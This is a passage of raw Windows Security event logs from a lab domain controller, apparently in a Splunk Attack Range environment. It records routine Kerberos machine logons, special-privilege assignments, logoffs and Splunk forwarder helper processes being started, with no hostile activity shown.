Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:42:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256728 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x44DC9A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:42:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256727 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x44DBB4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 49165 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:42:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256726 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x44DBB4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:42:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256725 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x44DB6C - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 0 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:42:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256724 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x44DB6C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:42:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256723 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x44DA5E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8B96C3B7-3DD4-8ED4-3B16-B24A60DA44C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 49164 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:42:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256722 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x44DA5E - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:42:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256721 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1348 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:42:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256733 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1390 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:42:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256734 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x122c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:42:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256735 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc14 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:42:22 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256736 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x44DC9A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:42:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256739 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x44FDD0 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:42:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=256738 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x44FDD0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: ::1 - Source Port: 49177 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 01:42:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=256737 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x44FDD0 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/12/2021 01:43:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256741 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13f8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:43:09 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256740 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1120 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:43:10 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256742 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf08 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:43:11 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256743 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb90 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:43:12 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256744 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xed0 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:43:13 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256745 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x694 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:43:14 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=256746 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x1334 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 01:43:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=256749 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x453376 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/12/2021 01:43:59 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon 